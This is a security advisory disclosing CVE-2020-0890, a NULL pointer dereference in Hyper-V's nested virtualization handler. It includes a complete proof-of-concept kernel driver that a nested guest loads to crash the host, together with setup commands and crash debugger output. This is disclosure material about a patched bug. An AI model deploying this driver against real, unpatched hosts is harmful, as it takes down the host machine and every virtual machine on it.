Microsoft Hyper-V NULL Pointer Dereference Denial of Service

A bug present in Hyper-V's (hvix64) emulation handler for VMLAUNCH/VMRESUME allows a malicious L2 hypervisor to trigger a NULL pointer dereference in the L1 hypervisor.

Vendor  Microsoft, www.microsoft.com
Affected Products  Windows Hyper-V
Affected Versions  Windows 10 and Windows Server without KB4577032 updates
CVE ID CVE-2020-0890
Severity  Important
Author  Daniel Fernandez Kuehr (@ergot86), Blue Frost Security GmbH 

I. Platform

Microsoft Windows Version 10.0.18363.418
Microsoft Hypervisor Kernel Version 18362 x64

Earlier versions also affected.

II. Technical Details

A L2 hypervisor can be in any of the following modes:

0: virtualization support disabled.
1: ISA virtualization support enabled (VMXE bit 13 enabled in CR4).
2: virtualization enabled root (monitor) mode.
3: virtualization enabled non-root (guest) mode.

In mode 0 any attempt to execute VMX instructions raises a #UD. When in ISA (1) mode VMX instructions still raise #UD except for VMXON which is emulated by Hyper-V. If correctly executed, the guest is put into the root (2) mode. At this point the guest can execute any VMX instructions and these will get emulated by Hyper-V.

Hyper-V performs checks for enlightened guests in order to para-virtualize certain stuff. Guests must set up an `assist page` via the 0x40000073 MSR.

In order to trigger the bug the guest must be in root-mode and must also have the assist_page->EnlightenVmEntry set to zero. Then either the execution of VMLAUNCH or VMRESUME will crash the L1 hypervisor.

For both instructions the same handler function is called by the dispatcher code in the following way:

vmlaunch_vmresume_handler(
  vcpu,
  ..,
  (vcpu->ptr->assist_page->EnlightenVmEntry) ? true : false
  )

The functions last argument tells the handler if our guest is enlightened depending on the EnlightenVmEntry field of the assist page.

The following is a over simplified pseudo-code representation of the handler:

vmlaunch_vmresume_handler(vcpu, ..., is_enlightened)
{
  if (is_enlightened == false)
    set_nested_vmcs(vcpu->ptr, vcpu->ptr->vmx->current_nested_vmcs)
  else
    vmptrld_handler(vcpu,
                    vcpu->ptr->assist_page->CurrentNestedVmcs,
                    enlightened=true)

  validate_and_load_nested_vm(vcpu)
}

If EnlightenVmEntry is TRUE the nested VMCS is loaded from CurrentNestedVmcs directly, otherwise the nested VMCS should be loaded first by a VMPTRLD instruction.

If VMPTRLD is not executed previous to a VMLAUNCH/VMRESUME instruction then the vcpu->ptr->vmx->current_nested_vmcs pointer passed to set_nested_vmcs is uninitialized (zero).

III. Impact

The bug leads to a denial of service in the host machine.

IV. Proof of Concept

The following PoC includes a driver that has to be loaded from a Windows guest configured with nested-vt enabled:

Set-VMProcessor -VMName guest_name -ExposeVirtualizationExtensions $true

On the guest Hyper-V must be disabled:

bcdedit /set hypervisorlaunchtype off
#include <intrin.h>
#include <ntddk.h>
#include <wdf.h>
#include <initguid.h>

EXTERN_C_START
DRIVER_INITIALIZE DriverEntry;
EXTERN_C_END

#ifdef ALLOC_PRAGMA
#pragma alloc_text (INIT, DriverEntry)
#endif

typedef union hv_x64_msr_contents
{
    UINT64 as_uint64;
    struct
    {
        UINT64 enable : 1;
        UINT64 reserved : 11;
        UINT64 guest_physical_address : 52;
    } u;
} hv_msr_contents;

#define HV_X64_MSR_VP_ASSIST_PAGE                0x40000073
#define CR4_VMXE (1 << 13)
#define CPUID_FEAT_ECX_VMX (1 << 5)
#define MSR_IA32_VMX_BASIC 0x480

__declspec(align(0x1000)) UINT32 vmxon_page[1024];
__declspec(align(0x1000)) UINT32 assist_page[1024];


NTSTATUS enable_vmxe(void)
{
    int cpuInfo[4];
    NTSTATUS status = STATUS_NOT_IMPLEMENTED;
 
    __cpuid(cpuInfo, 1);

    if (cpuInfo[2] & CPUID_FEAT_ECX_VMX)
    {
        UINT64 cr4 = __readcr4();
        UINT64 pvmxon_page = MmGetPhysicalAddress(&vmxon_page).QuadPart;

        KdPrint(("[+] Virtualization support detected"));

        if (!(cr4 & CR4_VMXE))
        {
            KdPrint(("[+] Enabling VMXE..."));
            __writecr4(cr4 | CR4_VMXE);
        }

        memset(vmxon_page, 0, sizeof(vmxon_page));
        vmxon_page[0] = (UINT32) __readmsr(MSR_IA32_VMX_BASIC);
        KdPrint(("[+] VMX revision %x", vmxon_page[0]));
        KdPrint(("[+] Entering monitor mode..."));

        if (__vmx_on(&pvmxon_page))
            KdPrint(("[-] VMXON failed"));
        else
            status = STATUS_SUCCESS;
    }

    return status;
}


NTSTATUS
DriverEntry(
    _In_ PDRIVER_OBJECT  DriverObject,
    _In_ PUNICODE_STRING RegistryPath
    )
{
    void* hypercall_page;
    hv_msr_contents assist;
    NTSTATUS status = enable_vmxe();

    if (!NT_SUCCESS(status))
        return status;

    memset(&assist_page, 0, sizeof(assist_page));
    assist.as_uint64 = MmGetPhysicalAddress(&assist_page).QuadPart;
    assist.u.enable = 1;
    __writemsr(HV_X64_MSR_VP_ASSIST_PAGE, assist.as_uint64);
    __vmx_vmlaunch(); // BOOM
    //__vmx_vmresume(); // BOOM
    return status;
}

The set_nested_vmcs function immediately dereferences the pointer (NULL) passed as an argument and crashes the system.

Access violation - code c0000005 (!!! second chance !!!)
hv+0x2fa8c2:
fffff83f`f1afa8c2 385a49          cmp     byte ptr [rdx+49h],bl
1: kd> r rdx
rdx=0000000000000000
1: kd> kb
 # RetAddr           : Args to
Child                                                           : Call Site
00 fffff83f`f1b0e38b : 0000a4c4`ab2a99ba ffffe802`c5608050
ffffe802`c5608050 ffffe802`00001000 : hv+0x2fa8c2
01 fffff83f`f1b0d505 : 00000000`00000000 00000000`00000014
00000000`019e0100 fffff83f`f1a2084e : hv+0x30e38b
02 fffff83f`f1a86079 : ffffe802`c5608050 ffffe802`c5608950
00000100`00803e89 00000000`0000209b : hv+0x30d505
03 fffff83f`f1a1e1d1 : 00000000`00000003 00000000`00000000
00000000`0010003a 00000000`0010003a : hv+0x286079
04 fffff83f`f1a734f6 : 00000000`00000000 ffffe802`c5608000
00000000`800000fc 00000000`00000001 : hv+0x21e1d1
05 00000000`00000000 : 00000000`00000000 00000000`00000000
00000000`00000000 00000000`00000000 : hv+0x2734f6

V. Disclosure Timeline

2020-06-02

Bug report sent to secure@microsoft.com

2020-07-15

Microsoft confirms the bounty award of 15.000 USD.

2020-09-08

Microsoft releases the patch.

 

Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise, contact research@bluefrostsecurity.de for permission. Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded. In no event shall Blue Frost Security be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Blue Frost Security has been advised of the possibility of such damages.

Copyright 2020 Blue Frost Security GmbH. All rights reserved. Terms of use apply.